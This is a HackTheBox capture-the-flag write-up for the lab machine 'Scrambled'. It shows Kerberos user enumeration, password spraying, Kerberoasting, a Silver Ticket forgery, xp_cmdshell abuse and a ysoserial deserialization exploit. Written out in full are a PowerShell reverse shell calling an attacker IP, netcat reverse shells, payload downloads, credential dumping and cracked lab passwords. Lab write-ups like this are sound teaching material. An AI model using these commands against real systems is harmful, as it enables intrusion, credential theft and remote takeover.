Scrambled – HackTheBox Writeup
Machine Name: Scrambled
IP: 10.10.11.168
Difficulty: Medium
Summary
Scrambled is a medium machine that requires an understanding of how Kerberos works. It includes enumerating users using Kerberos’ authentication protocol’s error message and password spraying to obtain valid credentials of the found users. The obtained credentials are used to get a TGT through which the SPN and TGS are obtained. The TGS was cracked and new credentials were obtained. The new credentials did not work when logging into MsSQL Client. The TGT ticket was used to enumerate the SMB share where a PDF with information about imposed access controls was found. Only administrator accounts can access the SQL database. A Silver ticket attack was performed in order to gain access to the database where more credentials were found and a shell could be obtained. After gaining the user shell, a DLL file found was decompiled and analysed. A serialization method was being called which was exploited by crafting a payload using ysoserial to gain a administrator shell.
- Summary
- Information Gathering
- Port 80 Enumeration
- User Enumeration via Kerberos
- Password Spraying
- Obtaining TGT
- Obtaining SPN and ST/TGS
- Cracking TGS using HashCat
- Enumerating SMB shares using TGT
- Obtaining the SID of sqlsvc
- Generating NT hash for password
- Silver Ticket Attack
- Obtaining MsSQL Shell
- Enabling "xp_cmdshell" to execute Windows commands via MsSQL
- Gain Sqlsvc Shell
- Privilege Escalation
Information Gathering
Nmap scan shows that DNS (53), HTTP (80), Kerberos (88), MSRPC (135, 593), SMB (129, 445), LDAP (389, 636, 3268, 3269), and MsSQL (1433) are open.
Port 80 Enumeration
I added “scrambled.htb” to my hosts file and visited the site. The “IT Services” link pointed to another page where one could report a problem within the “Sales Orders App”. It reveals a server “dc1.scrm.local” that connects through the 4411 port.
I tried to telnet into the same port, and found that “ScambledCorp Orders v1.0.3” is running.
The services page also had a “New User Account form” to register new users but I could not register as a user. Another page, “Password Resets” tells me that the password is reset to the username itself if the IT support line does not respond. A clue that someone might have reset their password to their username and have not changed it.
In the “IT Support” page, a user named “ksimpson” is revealed in the screenshot of command prompt.
User Enumeration via Kerberos
One way to enumerate users through Kerberos is by using Kerbrute, a tool that uses impacket’s modules to brute-force Kerberos users. Since Kerberos is an authentication protocol, it tells us if the credentials provided are valid, and if the username is correct but the password is incorrect by outputting the error message “KDC_ERR_PREAUTH_FAILED”. If the username and password are incorrect, then the error is “KDC_ERR_C_PRINCIPAL_UNKNOWN”. This makes the brute-force easier. The point is, we don’t need the passwords for finding valid users. Also, add “scrm.local” and “dc1.scrm.local” to the hosts file.
kerbrute_linux_amd64 userenum -d scrm.local --dc scrm.local /usr/share/wordlists/kerberos_enum_userlists/A-ZSurnames.txt
Password Spraying
I tried to check if any other users have the same passwords as their usernames using the “–user-as-pass” flag in Kerbrute. Note that the tool copies the password without converting it into smaller case. Only “ksimpson” has the same username and password.
kerbrute_linux_amd64 passwordspray -d scrm.local --dc scrm.local --user-as-pass users.scrm.txt
Obtaining TGT
Once the credentials were verified to be valid, I used them to request the TGT (Ticket Granting Ticket) using Impacket’s “getTGT” script that saves the TGT as ccache (credential cache).
impacket-getTGT scrm.local/ksimpson:ksimpson
Now that we have the TGT, we can request the ST/TGS (Service Ticket/Ticket Granting Service) from the KDC (Key Distribution Centre), if we can find the user’s SPN (Service Principal Name). A valid TGT and an existing SPN are required to request a ST from KDC. If the SPN is registered for the domain user, the ST is encrypted with the NT hash (NTLM hash) of the user’s account. Therefore, once the ST is obtained, we can crack it on our machine. This attack (Kerberoasting) will work if the account is using a weak password.
Obtaining SPN and ST/TGS
Using Impacket’s “GetUserSPNs” script, I was able to request the ticket. Note that the script throws errors if you specify the IP instead of FQDN. VBScrub, the creator of this machine raised an issue on Github but it isn’t fixed yet. Use the temporary fix in his comments.
The “KRB5CCNAME” environment variable must set as the ccache file name. The “-k” flag uses this file to pass the cache (kerberos ticket), and the “-no-pass” flag is set so that the program understands that we will pass the ticket instead of a password.
vi /usr/share/doc/python3-impacket/examples/GetUserSPNs.py # if self.__doKerberos: # target = self.__kdcHost # #target = self.getMachineName() <-- old line 260 code that we're no longer running export KRB5CCNAME=ksimpson.ccache impacket-GetUserSPN -request -dc-ip dc1.scrm.local scrm.local/ksimpson -k -no-pass
Cracking TGS using HashCat
We can crack this using hashcat. The credentials are “sqlsvc : Pegasus60”.
hashcat -m 13100 tgs_krb.txt /usr/share/wordlists/rockyou.txt --force
I tried to login through Impacket’s “mssqlclient” but was shooed away by a failed login.
impacket-mssqlclient sqlsvc@10.10.11.168
Enumerating SMB shares using TGT
I used the TGT to access the SMB shares and found a file named “Network Security Changes.pdf”.
impacket-smbclient scrm.local/ksimpson@dc1.scrm.local -k -no-pass
The PDF explains that an attacker was able to access data through an NTLM relay attack where he could intercept the authentication traffic and forward the NTLM hash to the server masquerading as the legitimate client. To mitigate this attack, the users will now have to authenticate through Kerberos.
No one can access the SQL database except the network administrators. Not even “sqlsvc”.
So we have the credentials for the “sqlsvc” user but cannot login. Hint: Impersonate as administrator.
Obtaining the SID of sqlsvc
I tried to perform a Silver Ticket attack where I had to create a TGS of the service account to pass the ticket and access the database by impersonating as the administrator. To forge the TGS as administrator, we need the SID and the NT password hash of the sqlsvc account.
I dumped any secrets, credentials, hashes using Impacket’s “SecretsDump”, which gave me the SID. Note that the SID is obtained when we include the “–debug” flag.
# secretsdump -k <domain name>/<user>@<hostname> impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local #S-1-5-21-2743207045-1827831105-2542523200-500
Generating NT hash for password
Any online service such as this can generate the NT hash for the password.
B999A16500B87D17EC7F2E2A68778F05
Silver Ticket Attack
Let’s use Impacket’s “ticketer” to forge the TGS. Note that we obtained the SPN by using the GetUserSPN tool.
impacket-ticketer -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -nthash B999A16500B87D17EC7F2E2A68778F05 -domain scrm.local -user-id 500 Administrator -spn MSSQLSVC/dc1.scrm.local
Obtaining MsSQL Shell
After exporting the Administrator ccache, we can use the mssqlclient to get a SQL shell.
export KRB5CCNAME=Administrator.ccache impacket-mssqlclient -k dc1.scrm.local -no-pass
I listed all the databases on the server and found a “ScrambleHR” database.
There are three tables in this database; Employees, UserImport, and Timesheets.
I selected the UserImports table and found that the credentials were stored in plaintext for the user MiscSvc. The other two tables were empty.
Enabling “xp_cmdshell” to execute Windows commands via MsSQL
To use these credentials, we need a shell. To execute commands within the MSSQL application, we first need to enable the “xp_cmdshell”. Then we can execute commands as sqlsvc.
SQL> enable_xp_cmdshell SQL> xp_cmdshell "whoami" scrm\sqlsvc
Gain Sqlsvc Shell
Next, to get a reverse shell, I downloaded the powershell one liner from Nishang repository and edited it with my attacker IP and port. Then, I converted it to Windows base64 format.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcpOneLine.ps1 vi Invoke-PowerShellTcpOneLine.ps1 # $client = New-Object System.Net.Sockets.TCPClient('10.10.14.49',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() # iconv converts to (-t) utf-16le (little endian) format and then base64. (Refer to Ippsec's Worker Video 22:45) cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le | base64 -w 0
Then execute this in powershell to get a reverse shell on the rlwrap netcat listener.
#Listen on attacker machine rlwrap nc -lvnp 1234 #Execute the powershell one liner in MSSQL xp_cmdshell "powershell -enc <base64 encoded payload>"
Using Powershell Credential Object to gain shell as MiscSvc
Finally, let’s use the powershell credential object to login as MiscSvc.
$pswd = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('Scrm\MiscSvc', $pswd) #Create another Windows base64 encoded payload for the MiscSvc reverse shell and then execute the payload as MiscSvc. Invoke-Command -Computer dc1 -ScriptBlock { powershell -enc <Windows base64 enc payload> } -Credential $cred PS C:\Users\miscsvc\Documents> type ../Desktop/user.txt
Got User!
Privilege Escalation
After a bit of snooping into the directories, I found two interesting files in “C:\Shares\IT\Apps\Sales Order Client\”.
Downloading Files via PowerCat and NetCat
I downloaded the two files using PowerCat and Netcat. First, I downloaded the powercat script on my machine and then transferred it to scrambled box. Strangely, uploading netcat on the machine and uploading and transferring via netcat only did not work for me (reason why I used powercat).
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 python3 -m http.server 80 iwr -uri "http://10.10.14.46
Decompilation and Analysis of DLL file
After the download, I decompiled the two files with dnSpy. I found two files under the “SalesOrder” tree that serialize (SerializeToBase64) and deserialize (DeserializeFromBase64) to and from base64 respectively.
I looked for where these methods are being called and found that the “GetOrders” and “UploadOrder” methods are calling the serialization methods.
I went with my instincts and tried to check if I could exploit serialization in the application that would return a shell.
I uploaded netcat to get a reverse shell.
#On Attacker machine python3 -m http.server 80 #On MiscSvc user iwr -uri "http://10.10.14.13/nc64.exe" -OutFile "nc64.exe"
Crafting Serialized Binary payload via YSoSerial
I used “ysoserial” to craft the serialized payload.
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "C:\Users\miscsvc\Documents\nc64.exe -e cmd.exe 10.10.14.13 1414"
Now that we have the serialized payload, we have to find a way to execute it. The Sales Order app runs on 4411 and since the “UploadOrder” method let’s us send an order (payload) and the “GetOrders” method deserializes the same, we may be able to execute code.
This port that did not appear in the nmap results but was mentioned on the webpage is 4411 being used for the Sales Order App. I did an aggressive scan on nmap and found the port to be open.
nmap -A -p- 10.10.11.168
Gaining Root Shell
Finally, listening on netcat and passing the payload on the 4411 port through UploadOrder feature popped an Administrator shell.
nc 10.10.11.168 4411 UPLOAD_ORDER;<payload> #On Attacker Machine rlwrap nc -lvnp 1414
Pwned!
Got root!